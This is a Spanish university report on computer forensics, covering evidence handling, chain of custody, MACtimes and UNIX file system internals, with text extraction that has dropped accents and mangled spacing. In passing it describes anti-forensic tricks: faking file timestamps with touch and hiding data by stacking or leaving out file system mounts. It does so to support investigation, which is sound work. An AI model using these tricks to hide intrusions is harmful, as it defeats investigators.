Click here to load reader

La Informatica Forense

  • View
    42

  • Download
    2

Embed Size (px)

Text of La Informatica Forense

  • (6669) CRIPTOGRAFIA Y SEGURIDAD INFORMTICA.

    Trabajo Prctico

    Informtica Forense.

    Alumnos: Acosta Gonzalo (81885) Altieri Andrs (81385) Rodriguez Gabriel (81503) Rossi Eduardo (81559)

    Docentes: Ing. Hugo Pagola Ing. Estrada Vernica

  • ndice.

    1. Introduccin.................................................................................4 1.1. Informtica Forense .......................................................................................5 1.2. Principios forenses..........................................................................................6 1.3. Evidencia Digital.............................................................................................6 1.4. Metodologa de Trabajo para el anlisis de los datos..................................7

    1.4.1. La identificacin de la evidencia digital ...................................................8 1.4.2. La extraccin y preservacin del material informtico..........................9 1.4.3. El anlisis de datos ...................................................................................10 1.4.4. La presentacin del dictamen pericial....................................................11

    2. Nociones terico-prcticas sobre un sistema UNIX...............14 2.1. Registros temporales ....................................................................................14

    2.1.1. MACtimes .................................................................................................14 2.1.2. Registros de redes y DNS.........................................................................17 2.1.3. File systems con journaling y MACtimes...............................................18

    2.2. File System en UNIX ....................................................................................19 2.2.1. File System Virtual (VFS) .......................................................................19 2.2.2. Nombres de archivos y directorios. Tipos de archivos. ........................20 2.2.3. Aspectos internos del File System...........................................................21 2.2.4. Estructura de una particin UNIX.........................................................24

    3. Anlisis de un caso real.............................................................26 3.1. Recoleccin de Informacin Voltil ............................................................26

    3.1.1. Fecha y hora del sistema..........................................................................27 3.1.2. Conexiones activas y puertos abiertos....................................................27 3.1.3. Procesos, y archivos y puertos a los que estn accediendo. ..................28 3.1.4. Tablas de ruteo .........................................................................................29 3.1.5. Mdulos del kernel cargados en memoria .............................................30 3.1.6. Filesystems montados ..............................................................................30

    3.2. Recoleccin de Informacin No Voltil ......................................................30 3.2.1. Versin del Sistema Operativo y nivel de parches ................................30 3.2.2. MAC times y hash del filesystem ............................................................31 3.2.3. Usuarios conectados actualmente, e histricos ......................................32

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 3

    3.2.4. Logs del sistema........................................................................................33 3.2.5. Cuentas de usuario...................................................................................33 3.2.6. Histrico de los usuarios..........................................................................33

    3.3. Duplicacin Forense .....................................................................................35 3.3.1. DD..............................................................................................................35 3.3.2. DD Rescue.................................................................................................35 3.3.3. DDFLDD...................................................................................................36

    3.4. Conclusiones .................................................................................................36

    4. Anexo..........................................................................................38 4.1. Fragmentos de Informes Periciales. Ejemplos...........................................38 4.2. Herramientas para el Anlisis Forense. .....................................................39

    5. Bibliografa ................................................................................41

  • 1. Introduccin.

    El anlisis forense de un sistema involucra primeramente la recopilacin de informacin dispersa en todo el sistema y posteriormente un anlisis de la misma; mientras ms completa y precisa resulte dicha informacin, ms verdico ser el anlisis realizado. La adecuada conservacin de la informacin del sistema original cumple un rol fundamental en la investigacin, de modo que el procesamiento de la misma debera llevarse a cabo sobre una copia de los datos del sistema original. Disponer de una copia exacta de todo el sistema es el objetivo ideal de la recopilacin, pero esto es en s imposible dado que en el proceso de recoleccin otros usuarios o programas pueden disparar cambios en el sistema, destruyendo parte de la evidencia. An ms, la perdida de la informacin podra ser causada por una trampa dejada por algn intruso o persona mal intencionada, o simplemente por cualquier programa que se ejecute. Por este motivo las tcnicas forenses tradicionales se han centrado en apagar los sistemas y realizar un anlisis sobre la informacin que persista: logs de programas, tiempos de acceso, contenidos de archivos, etc. Esto facilita la captura de la informacin y el establecimiento de una lnea de tiempo irrefutable.

    Deben tomarse numerosas precauciones y cuidados en caso de tomar informacin de un sistema en funcionamiento. En general, el sistema debe aislarse y deben recuperarse los datos siguiendo su orden de volatilidad (OOV), es decir, de acuerdo a su expectativa de vida media dentro del equipo. Respetar este orden aumenta las probabilidades de salvar los datos ms efmeros (en caso de que sean los que nos interesan). Con respecto a esto debemos mencionar que no es posible registrar todos los cambios que ocurren en procesos o archivos en tiempo real, pues al tomar datos de un sector se modifican en otro (algo similar a un principio de incertumbre).

    Otro aspecto fundamental a la hora de realizar un anlisis es determinar la confiabilidad de la informacin. Cualquiera de los distintos sectores de un sistema podra ser modificado para reflejar datos falsos; en general, cuantas ms fuentes haya y cuanto ms independientes sean, ms certeza habr respecto de la veracidad de las mismas. Cuando nos referimos a fuentes de informacin queremos indicar cualquier elemento que pueda aportar elementos para la reconstruccin de un suceso en un sistema, ya sean logs de red, entradas en el journal, MACtimes de archivos, dumps de memoria, etc.

    La destruccin de la informacin dentro de un sistema es algo complicado; por ejemplo, la informacin contenido en un archivo borrado persiste hasta que sea sobrescrita por uno nuevo. En sistemas de archivos con un clustering eficiente los datos pueden persistir por aos, aunque ms no sea parcialmente. A medida que aumenta el grado de abstraccin de las capas del sistema, encontramos ms informacin remanente, aunque su significado est ms oculto, es ms ambiguo.

    Haciendo una analoga con el mundo real pueden clasificarse los procesos que ocurren en un ordenador en dos grupos. Por un lado identificamos procesos de tipo arqueolgico, que son el resultado de la accin directa de un ser humano sobre la computadora; por ejemplo, el contenido de

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 5

    archivos, registros de acceso, registros de trfico de red. Por otro lado, al hacer referencia a los procesos geolgicos nos referimos a los procesos autnomos del sistema, aquellos sobre los que los humanos no tiene control alguno, como la asignacin y el reciclado de bloques de memoria, la asignacin de ID para archivos o procesos. Los procesos de tipo geolgico destruyen las evidencias arqueolgicas que quedan en el sistema, es decir, los procesos autnomos sobrescriben los datos que pueden haber quedado almacenados por el accionar de una persona.1

    1.1. Informtica Forense

    Las tcnicas forenses son aquellas que surgen de una investigacin metdica para reconstruir una secuencia de eventos. Las tcnicas de forense digital son el arte de recrear que ha pasado en un dispositivo digital. Existen dos aspectos principales sobre los cuales trabajar:

    Lo que hace un usuario en su equipo,

    Recuperacin de archivos eliminados

    Desencriptacin elemental

    Bsqueda de cierto tipo de archivos

    Bsqueda de ciertas frases

    Observacin de reas interesantes del computador

    Lo que hace un usuario remoto en otro equipo,

    Leer archivos de registro

    Reconstruir acciones

    Rastrear el origen

    Anlisis de conexiones desde o hacia el host

    La informtica forense hace entonces su aparicin como una disciplina auxiliar de la justicia moderna, para enfrentar los desafos y tcnicas de los intrusos informticos, as como garante de la verdad alrededor de la evidencia digital que se pudiese aportar en un proceso legal.

    1 Clasificasin propuesta en el libro Forensic Discovery por los autores.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 6

    1.2. Principios forenses

    Existen un gran nmero de principios bsicos que son necesarios independientemente de si se est examinando un ordenador o un cadver. Estos principios son:

    Evitar la contaminacin: La esterilidad de los medios es una condicin fundamental para el inicio de cualquier procedimiento forense en informtica, pues al igual que en la medicina forense, un instrumental contaminado puede ser causa de una interpretacin o anlisis errneo de las causas de la muerte del paciente.

    Actuar metdicamente: El investigador debe ser el custodio de su propio proceso, por tanto cada uno de los pasos realizados, las herramientas utilizadas (sus versiones, licencias y limitaciones), los resultados obtenidos del anlisis de los datos, deben estar claramente documentados, de tal manera, que cualquier persona externa pueda validar y revisar los mismos. Ante una confrontacin sobre la idoneidad del proceso, el tener documentado y validado cada uno de sus procesos ofrece una importante tranquilidad al investigador, pues siendo rigurosos en la aplicacin del mtodo cientfico es posible que un tercero reproduzca sus resultados utilizando la misma evidencia.

    Controlar la cadena de evidencia, es decir, conocer quien, cuando y donde ha manipulado la evidencia: Este punto es complemento del anterior. La custodia de todos los elementos allegados al caso y en poder del investigador, debe responder a una diligencia y formalidad especial es para documentar cada uno de los eventos que se han realizado con la evidencia en su poder. Quin la entreg, cundo, en qu estado, cmo se ha transportado, quin ha tenido acceso a ella, cmo se ha efectuado su custodia, entre otras, son las preguntas que deben estar claramente resueltas para poder dar cuenta de la adecuada administracin de las pruebas a su cargo.

    Por evidencia entendemos toda informacin que podamos procesar en un anlisis.

    1.3. Evidencia Digital

    La evidencia digital puede definirse como "cualquier informacin, que sujeta a una intervencin humana u otra semejante, ha sido extrada de un medio informtico". En este sentido, la evidencia digital, es un trmino utilizado de manera amplia para describir cualquier registro generado por o almacenado en un sistema computacional que puede ser utilizado como evidencia en un proceso legal.

    La evidencia digital posee, entre otros, los siguientes elementos que la hacen un constante desafo para aquellos que la identifican y analizan en la bsqueda de la verdad:

    a. Voltil

    b. Annima

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 7

    c. Posible duplicarla

    d. Alterable y modificable

    e. Susceptible de ser eliminada

    Algunos ejemplos de evidencia digital podran ser:

    El ltimo acceso a un fichero o aplicacin (unidad de tiempo)

    Un Log en un fichero

    Una cookie en un disco duro

    El up-time de un sistema (tiempo encendido)

    Un proceso en ejecucin

    Archivos temporales

    La recomendacin RFC-3227 (http://www.faqs.org/rfcs/rfc3227.html) provee a los administradores de sistemas algunas pautas a seguir en el aspecto de recoleccin de evidencias.

    1.4. Metodologa de Trabajo para el anlisis de los datos

    En la actualidad existen varias metodologas de trabajo para la realizacin de anlisis de datos. Se presenta a continuacin un modelo a seguir, elegido por la practicidad y eficiencia que ofrece dicho enfoque metodolgico2.

    2 Fuente: El tratamiento de la Evidencia Digital.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 8

    Figura 1.1. Metodologa de trabajo para anlisis de dato3s.

    1.4.1. La identificacin de la evidencia digital

    Identificar la evidencia digital representa una tarea caracterizada por distintos aspectos. Entre ellos podemos mencionar el factor humano, que realiza los secuestros de material informtico. En muchos casos, la identificacin y recoleccin de potencial evidencia digital es realizada por personal que no cuenta con los conocimientos adecuados para llevar acabo las tareas en cuestin (por ejemplo un allanamiento policial, o un administrador no instruido).

    La omisin de algunos aspectos tcnicos puede llevar a la perdida de datos probatorios o a la imposibilidad de analizar cierta informacin digital. A modo de ejemplo podemos mencionar el secuestro de terminales durante un allanamiento omitiendo traer el servidor; o apagar las computadoras eliminando la posibilidad de realizar un anlisis sobre ciertos elementos voltiles (registros, procesos, memoria, estado de la red). Por otra parte, el desconocimiento puede llevar a que se causen perjuicios innecesarios a la persona/entidad investigada, como un secuestro masivo de equipamiento informtico o de material irrelevante para la investigacin.

    Otro aspecto crtico relativo a la identificacin de la evidencia digital se refiere a la correcta rotulacin y detalle de los elementos informticos. Sucede con frecuencia que durante un procedimiento judicial no se etiquetan todos los elementos secuestrados. Si no se toman ciertos recaudos durante el allanamiento, y se verifica que se dispone en el laboratorio pericial de la tecnologa necesaria, el faltante de algn elemento puede retrasar o impedir la realizacin de la investigacin. Asimismo, debe precintarse todo el material informtico que sea susceptible de ser abierto o alterado. Pasar por alto este punto posibilita reclamos por faltantes una vez devuelto el material secuestrado.

    3 Fuente: El tratamiento de la Evidencia Digital.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 9

    Figura 1.2. Elementos para la identificacin de la evidencia

    1.4.2. La extraccin y preservacin del material informtico

    Extraer y Preservar el material informtico durante los secuestros implica considerar la fragilidad de los medios de almacenamiento de datos y la volatilidad de la informacin. Sobre este aspecto, cabe destacar que existe una gran falencia en lo que se conoce como Cadena de Custodia, cuyo objetivo consiste en mantener el registro de todas las operaciones que se realizan sobre la evidencia digital en cada uno de los pasos de investigacin detallados. Si al realizar un anlisis de datos se detecta que la informacin original ha sido alterada, la evidencia pierde su valor probatorio.

    Las cuestiones inherentes al transporte de la evidencia digital no son menos importantes. Es comn que los elementos informticos a periciar lleguen sin los ms mnimos resguardos. Usualmente, el secuestro de material informtico tiene un tratamiento muy similar al de otros elementos armas, papeles contables, etc.- y no se le da el cuidado que realmente merece, pudiendo algn golpe ocasionar roturas en el equipamiento informtico. Debe considerarse adems que la informacin digital es sensible a la temperatura, y en algunos casos a los campos electromagnticos.

    Por ltimo, preservar implica los aspectos tcnicos relativos a la no alteracin (integridad) de la evidencia original. La utilizacin de algn software que genere un valor hash a partir de un conjunto de datos es de gran ayuda. Existen diferentes algoritmos para calcular un checksum criptogrfico seguro o valor resumen hash (SHA-1, MD5), estos algoritmos son muy utilizados por las herramientas forenses. Para realizar copias de la evidencia original debe usarse algn software forense que realice una imagen a nivel de bit-stream y no una simple copia de archivos, en la que se pierde informacin que puede ser usada como potencial evidencia. Asimismo, debe quedar claro que

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 10

    aunque por principio general se debe trabajar sobre imgenes de la evidencia original, slo el perito podr determinar cuando debe o no aplicarse este tipo de medida.

    En muchos casos resulta impracticable realizar copias de la evidencia original por impedimentos tcnicos u otras razones de tiempo y lugar. En estos casos se debern extremar las precauciones durante la investigacin, siempre aplicando tcnicas de anlisis de datos no-invasivas y utilizando todas las herramientas forenses que estn al alcance, a fin de no alterar la evidencia.

    Figura 1.3. Elementos para la preservacin de la evidencia

    1.4.3. El anlisis de datos

    Analizar involucra aquellas tareas referidas a extraer evidencia digital de los dispositivos de almacenamiento. Una de las claves a la hora de analizar es la localizacin de informacin especfica vinculada con una determinada causa. La experiencia demuestra que en muchos casos, el anlisis de datos requerir un trabajo interdisciplinario entre el perito y el operador judicial -juez, fiscal- que lleve la causa, a fin de determinar aquellas palabras clave (keywords) que son de inters para la investigacin.

    En casi la totalidad de los casos el anlisis de datos se realiza sobre sistemas operativos Windows y Unix. En el primero de ellos, se debe profundizar en aspectos tcnicos del sistema de archivos NTFS, ya que es utilizado por las ltimas versiones. NTFS almacena atributos de archivos y directorios en un archivo del sistema llamado MFT (Master File Table) y escribe los datos en

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 11

    espacios llamados clusters. Los atributos de mayor inters para el investigador forense son: el nombre del archivo, MAC Times (fecha y hora de la ltima Modificacin, Acceso o Cambio de un archivo) y los datos (si el archivo es suficientemente pequeo) o la ubicacin de los datos en el disco. Asimismo, el archivo utilizado como memoria virtual del sistema operativo (Swap file), el espacio libre que puede quedar entre un archivo y el cluster en el cual reside (Slack space), la papelera de reciclaje (Recycle bin), clusters que contienen parte que los archivos borrados (Unallocatable space), los accesos directos, los archivos temporarios y los de Internet, son algunos de los elementos sobre los que se realiza habitualmente el anlisis de datos. Por otro lado, un examen del registro de Windows permite conocer el hardware y software instalado en un determinado equipo.

    El anlisis sobre sistemas Unix es similar al de Windows, ya que se investiga sobre los elementos citados precedentemente. Unix utiliza el concepto de nodos ndices (i-node) para representar archivos. Cada i-node contiene punteros a los datos en el disco, as como tambin los atributos del archivo. Los datos se escriben en unidades llamadas bloques (blocks) siendo un concepto anlogo a los clusters de Windows. En Unix todo es tratado como un archivo, y puede estar almacenado en formato binario o texto.

    Figura 1.4. Elementos para el anlisis de la evidencia

    1.4.4. La presentacin del dictamen pericial

    Presentar consiste en elaborar el dictamen pericial con los resultados obtenidos en las etapas anteriores.

    A nivel nacional, los dictmenes periciales relacionados con la informtica han tenido un importante incremento a partir de 1995. Inicialmente, dichas tareas fueron canalizadas nicamente a

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 12

    travs de la Polica Federal, Provincial o de Gendarmera Nacional 4 . En los ltimos aos, la complejidad de la materia ha requerido que las pericias informticas sean tratadas interdisciplinariamente.

    Por otra parte, cabe recordar que en nuestra legislacin el valor probatorio de la evidencia digital ha tenido hasta la fecha escasa o casi nula recepcin legislativa y se cuenta con pocos antecedentes jurisprudenciales. Es sabido que el documento electrnico para la ley vigente argentina, constituye tan slo principio de prueba por escrito", lo que genera numerosos inconvenientes a la hora de determinar la eficacia probatoria de los elementos informticos y su interpretacin a travs de los dictmenes periciales. Teniendo en cuenta que nuestra ley penal data de 1921, es claro que la misma no pueda receptar con facilidad los adelantos tecnolgicos, dando lugar a situaciones de duda.

    La eficacia probatoria de los dictmenes informticos radica fundamentalmente en la continuidad del aseguramiento de la prueba desde el momento de su secuestro. Realizado ello en debida forma es poco probable que, si la investigacin preliminar se dirigi correctamente, el material peritado no arroje elementos contundentes para la prueba del delito.

    Expuesta la situacin actual en materia de pericias informticas, interesa conocer cmo debe realizarse un dictamen pericial sobre anlisis de datos, de manera tal que sea objetivo, preciso y contenga suficientes elementos para repetir el proceso en caso de ser necesario.

    La estructura bsica de cualquier informe atendera al siguiente esquema:

    Antecedentes (Solicitante, encargo profesional o tipo de trabajo. Situacin. Redactor)

    Documentos facilitados, recopilados y examinados (Proyectos, expedientes administrativos, contratos, escrituras, datos registrales, etc.)

    Inspecciones realizadas (Pruebas requeridas en funcin del material a analizar y del tipo de dao a valorar).

    Metodologa del informe (Se expondrn los criterios que se han seguido para su elaboracin).

    Dictamen (Por ultimo, deber completarse junto con el apartado de conclusiones, que recoger de modo resumido los aspectos ms determinantes del trabajo).

    Anexos (Este apartado estar compuesto por los diferentes documentos obtenidos en las investigaciones: fotografas, resultados de los anlisis, documentacin relevante como prueba, normativa infringida, etc.).

    En el anexo I se exponen algunas consideraciones esenciales, ilustradas con fragmentos extrados de casos reales de trabajos periciales que han requerido realizar anlisis de datos.

    4 Fuente: El tratamiento de la Evidencia Digital.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 13

    Figura 1.5. Presentacin de la pericia

    Figura 1.6. Presentacin del dictamen pericial.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 14

    2. Nociones terico-prcticas sobre un sistema UNIX

    A continuacin se presentan algunas caractersticas del sistema operativo Unix. Con ellas se podr llevar a cabo el anlisis forense pues la informacin que se pueda recolectar servir como evidencia durante el proceso de investigacin.

    2.1. Registros temporales

    En esta seccin comentaremos diversas fuentes de informacin disponibles en un sistema que permiten reconstruir una lnea de tiempo de sucesos ocurridos. En general eventos individuales pueden no tener un significado o importancia en forma aislada, pero considerados en secuencia puede situarlos en un contexto propicio para que cobren sentido. En esta seccin nos referiremos especficamente a tres fuentes de informacin temporal: MACtimes, registros de red y DNS servers, y MACtimes del file system.

    Algunas fuentes deregistros de tiempo

    MACtimes

    Registros detrfico de red yDNS Servers.

    Registros propiosdel file system

    (journal)

    Figura 2.1. Fuentes bsicas de registros de tiempo.

    2.1.1. MACtimes

    Constituyen uno de los recursos ms simples de entender y emplear en una investigacin. MACtimes es una forma abreviada de referirse a tres atributos de tiempo que poseen los archivos en sistemas de archivos UNIX, Windows y otros:

    Mtime: se refiere a la ltima vez que el contenido de un archivo fue modificado.

    Atime: se refiere a la ltima vez que un archivo o directorio fue accedido.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 15

    Ctime: se refiere a la ltima vez que se modific el metacontenido del archivo (dueo, grupo, permisos, etc.). Ctime tambin puede usarse como un estimativo de cundo un archivo fue borrado.

    Una de las limitaciones fundamentales es que se refieren solamente a la ltima vez que se que se interactu con cierto archivo; es prcticamente imposible recuperar los MACtimes antiguos.

    Existen distintas herramientas para conocer los MACtimes; algunas de ellas como el comando ls vienen con el sistema operativo, y otras como el comando mactime del Coroners Toolkit son especficamente diseadas para esa tarea.

    Debe tenerse especial cuidado de no modificar los MACtimes de los archivos de un sistema comprometido mientras intenta salvaguardarse la informacin. Por ejemplo, acceder a un directorio modifica su atime, copiar o leer un archivo tambin lo hace. Hacer un backup de la informacin antes de relevar los MACtimes lleva a que todos los MACs se actualicen y se pierda informacin valiosa.

    Entre las limitaciones principales que podemos mencionar de los MACtimes mencionaremos:

    Son relativamente simples de perder si no se toman las precauciones necesarias.

    No puede verse la historia previa de los archivos, slo la ltima vez que se modific algn aspecto del mismo.

    No puede verse quien realiz la accin, solamente el resultado.

    En sistemas multiusuario es difcil separar la actividad del intruso de la de los usuarios.

    A veces la accin del intruso es similar a la de los usuarios y no puede distinguirse con MACtimes.

    Pueden falsearse: por ejemplo en UNIX el comando touch permite modificar los atimes y mtimes de los archivos.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 16

    MACtimes

    Mtime: ltima modificacin de contenido

    Ctime: ltima modificacin de metacontenido

    Ventajas

    Aportan informacinvaliosa

    Fciles de obtener yutilizar

    Limitaciones

    Slo ltimamodificacin

    Fcilmenteperdibles

    No se sabe quin realizala accin

    Fcilmentefalseables

    Atime: ltimo acceso (archivos y directorios)

    Figura 2.2. Conceptos bsicos de MACtimes.

    En Linux, Solaris u OpenBSD el comando ls permite averiguar MACtimes de archivos. Tambin podran emplearse los comandos stat o el comando mactime perteneciente al Coroners Toolkit. A continuacin indicamos algunos ejemplos:

    Funcin Sintaxis bsica Ejemplo Determinar Mtime ls l f i l ename l s l / etc/passwd Determinar Atime ls - lu f i l ename l s lu /etc/passwd Determinar Ctime ls - lc f i l ename ls lc /e tc/passwd

    stat f i lename stat / etc/passwd Determinar MACtimes mact ime d directorio fecha1-fecha2 mactime d /etc 01/04/2007-05/13/2007

    Tabla 2.1. Averiguacin de MACtimes con el comando ls en Linux.

    El comando mactime es el ms cmodo cuando se trata de varios archivos y el comando stat el ms cmodo cuando se trata de uno solo.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 17

    En la siguiente tabla se presenta a modo de ejemplo, cmo un la ejecucin de comandos habituales puede afectar los MACtimes de archivos o directorios5:

    Directorios Accin Mtime Atime Ctime

    Crear (mkdir foo) x x x Mover (mv foo bar) x x

    Crear archivos (touch /foo/foo) x x Listar (ls foo) x

    Cambiar de directorio (cd foo) Cambio de permisos (chmod/chown foo) x

    Copia (mv foo_mvd foo) x x Edicin de archivos (vim/emacs foo) x x

    Archivos Accin Mtime Atime Ctime

    Crear (touch foo) x x x Renombrar (mv foo bar)

    Cambio de permisos (chmod foo) x Copia (cp foo bar) x

    Copia con sobrescritura (cp foo bar) x x Agregar (cat >>foo) x x

    Sobrescribir (cat>foo) x x Listar (ls foo)

    Editar (vim/emacs foo) x x x

    Tabla 2.2. Ejemplos de cambio de MACtimes por operaciones sobre archivos y directorios.

    2.1.2. Registros de redes y DNS

    En general el trfico de una red es demasiado voluminoso como para almacenar toda la informacin que circula. Lo ms habitual es conservar logs de las conexiones y estadsticas que se relevan en tiempo real. Esta informacin puede ser muy til a lo de hora de preparar una lnea de tiempo.

    Otra fuente posible de informacin temporal son los DNS Servers. En general dichos servers tienen varios tipos de registros, de los cuales los ms comunes son los PTR (pointer records, encargados de traducir una direccin IP a un host name), A (address records, que traducen el nombre de una computadora a una direccin IP) y los MX (mail exchange records, que indican a los agentes de correo donde enviar los e-mail).

    5 Extrado de http://www.securityfocus.com/infocus/1738.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 18

    Registros principalesde un DNS Server

    PTR: traducen unaIP a un hostname.

    A: traducen elnombre de una PC a

    un direccin IP.

    MX: permitendireccionar el

    e-mail

    Figura 2.3. Registros principales de un DNS Server.

    El daemon DNS standard de UNIX que se llama Bind, conserva un cache en memoria donde se almacenan las bsquedas recientes. Si bien no guarda el momento exacto en que realiz cada bsqueda, s conserva el tiempo que resta para que se descarte dicha entrada del cache (TTL, time to live). Conociendo el tiempo inicial de los archivos al ingresar al cache se podra conocer aproximadamente en que momento se hizo la bsqueda (asumiendo que en el medio no haya cambiado el TTL).

    2.1.3. File systems con journaling y MACtimes

    La caracterstica fundamental de los file system con journaling es que algunos o todos los cambios del disco rgido son almacenadas en un archivo (journal) antes de ser ejecutados. Una de sus ventajas principales es que pueden recuperarse de un error en forma ms rpida, pues pueden volver a realizarse los pasos registrados en el journal en vez de tener que recorrer todo el disco rgido buscando inconsistencias (como ocurre con otros file system). En general de dos tipos: aquellos que slo almacenan metadata, y otros que almacenan datos y metadata. Los MACtimes del journal, a diferencia de los otros, permiten observar el acceso repetido a un archivo a lo largo del tiempo.

    En el caso de Ext3fs el journal se almacena como un archivo comn dentro del disco rgido, con la salvedad de que no est referenciado por ningn directorio. El tamao mximo del journal es de 32Mb de modo que debe rescatarse su contenido en forma rpida antes de que se pierda informacin.

    Para conocer su ubicacin en Linux puede usarse el comando tune2fs que indica el i-nodo que contiene la informacin del archivo (ver prxima seccin). El comando icat del Coroners Toolkit puede emplearse para salvar sus contenidos y en Linux el comando debugfs puede emplearse para examinarlo en detalle. En la seccin dedicada a la estructura del File system se presentarn algunos ejemplos al respecto.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 19

    2.2. File System en UNIX

    Existen numerosos file system en UNIX, casi todos basados en el Fast File System (FFS) diseado en 1974 por Ritchie y Thompson.

    Todos los directorios estn organizados en un rbol de directorios y dependen de un directorio principal. Las hojas o nodos del rbol estn separados por / y tienen nombres como /home/user. No existen nombre de unidades (C:/) o hostnames; aun perifricos como impresoras, memoria, y los mismos discos son accedidos como archivos del file system.

    Un mismo disco puede contener varios file system distintos y el rbol de directorios puede construirse con mltiples particiones de un disco. Para hacer que un archivo en un disco est disponible debe ser montado en algn directorio del file system mediante, por ejemplo, los comandos mount/umount. Una manera de ocultar informacin es la de montar dos file system en un mismo punto, uno encima del otro; esto hace que el primero en montarse no pueda ser accedido mediante los comandos habituales para tal fin (por ejemplo, cd). Esto se debe a que dichos comandos interrogan al sistema operativo acerca de los directorios montados en cierto punto, y ste ltimo devuelve la informacin del ltimo montado y no reconoce al primero. Para poder acceder al otro file system ese necesario emplear herramientas que dupliquen parte de su funcionalidad y permitan acceder a la informacin por via directa.

    Otra forma de ocultar informacin consiste en no montar un file system en ningn punto. En Linux puede conocerse qu File System se encuentran montados tipeando df en la lnea de comando. Adems, ingresando:

    fdisk l dispositivo

    pueden visualizarse las particiones que hay en el dispositivo.

    2.2.1. File System Virtual (VFS)

    La interaccin entre los procesos de los usuarios y el hardware se produce por medio de las llamadas al sistema (system calls) que se realizan al ncleo (kernel) del sistema operativo. El sistema operativo Linux posee una capa llamada File System Virtual dentro del kernel que se emplea en las llamadas a sistema vinculadas con el acceso a archivos. La siguiente Figura ilustra el modo en que varios File System pueden convivir dentro del sistema operativo Linux y la forma en que los procesos de usuario leen y escriben unidades fsicas.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 20

    Procesos de usuario

    Interfaz para llamadas al sistema

    File System Virtual

    Ext2fs Ext3fsDOSfs

    Buffer

    Drivers de dispositivo

    Controlador de disco

    Kernel

    Request de I/O

    Llamada al sistema

    Hardware

    Figura 2.4. Estructura de File System Virtual para el acceso a disco en Linux.

    2.2.2. Nombres de archivos y directorios. Tipos de archivos.

    Los nombres de archivo estn almacenados en directorios y pueden contener cualquier carcter a excepcin de / o NULL. El Standard POSIX6 define un largo mximo mnimo de 255 bytes para nombres de archivos, que es el lmite para las implementaciones ms usuales de Ext3fs y otros.

    Los nombres de directorios se construyen con strings separados por /. Si bien en principio los directorios y los pathnames de archivos pueden ser de un largo arbitrario, hay un lmite para el pathname que se indica cuando uno accede a un archivo. Por ejemplo para Linux puede ser de hasta 4096 bytes. En operaciones habituales, dicha restriccin es rara vez una preocupacin. Sin embargo, en algunos casos provee oportunidades para ocultar informacin o evitar que ciertos programas funcionen correctamente. El problema principal es que reduce la funcionalidad de muchos programas que se estructuran sobre llamadas al sistema que poseen limitaciones de largo (por ejemplo para acceder o buscar en cierto directorio).

    Desde el punto de vista del usuario, el file system UNIX est constituido por un conjunto de directorios y archivos de distinto tipo. En realidad, para UNIX los directorios son considerados como un tipo ms de archivo, con la salvedad de que deberan modificarse utilizando comandos como

    6 POSIX es un acrnimo de Portable Operating System Inteface; la X proviene de UNIX. Es una familia de

    standards de llamadas al sistema operativo (system calls) definidos por la IEEE y especificados en el IEEE 1003. Permiten generalizar las interfaces de los sistemas operativos para que una misma aplicacin pueda ejecutarse en distintas plataformas.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 21

    chgrp. Lo mismo ocurre con los dispositivos fsicos como memoria, impresoras, etc. que constituyen los llamados Device Files. La siguiente figura resume los tipos de archivos ms habituales que pueden encontrarse:

    Tipos de archivosUNIX

    Archivos comunesEl tipo ms habitual. Contienen datos o software.

    DirectoriosTambin son archivos pero deben modificarse a

    travs de primitivas (no directamente)

    Links simblicosAlias para un archivo o

    directorio.

    IPC EndpointsDentro del file system,

    comunican dos procesosde una misma mquina.

    Device filesPermiten acceder al hardware.

    Block devicesAcceden a los datos por medio de la estructura de

    bloques que use el medio fsico. Usan buffering en elkernel. Algunos tambin tiene interfaz Character.

    Character devicesPermiten el acceso por bytes a un dispositivo.

    En general no tienen buffer en el kernel pero pueden.Ejemplo: memoria, impresoras,

    Figura 2.5. Tipos principales de archivos UNIX.

    2.2.3. Aspectos internos del File System.

    Un directorio UNIX est organizado como una secuencia de entradas desordenadas que poseen dos elementos: un nombre y un nmero. El nombre es lo que emplean los usuarios humanos para acceder al archivo, y el nmero es un ndice en una tabla de bloques de i-nodos, que contiene la informacin referente al archivo y referencias a la posicin fsica de la informacin en el disco.

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 22

    La siguiente Figura sirve a modo de ejemplo:

    Archivo Inodofoo 123bar 459

    otros...

    Directorio /home/pepe

    dueo/ID de grupopermisos

    tipo de archivoReferencia a datos

    otros...

    Inodo 123

    datos

    datos

    datos

    Bloques de datos

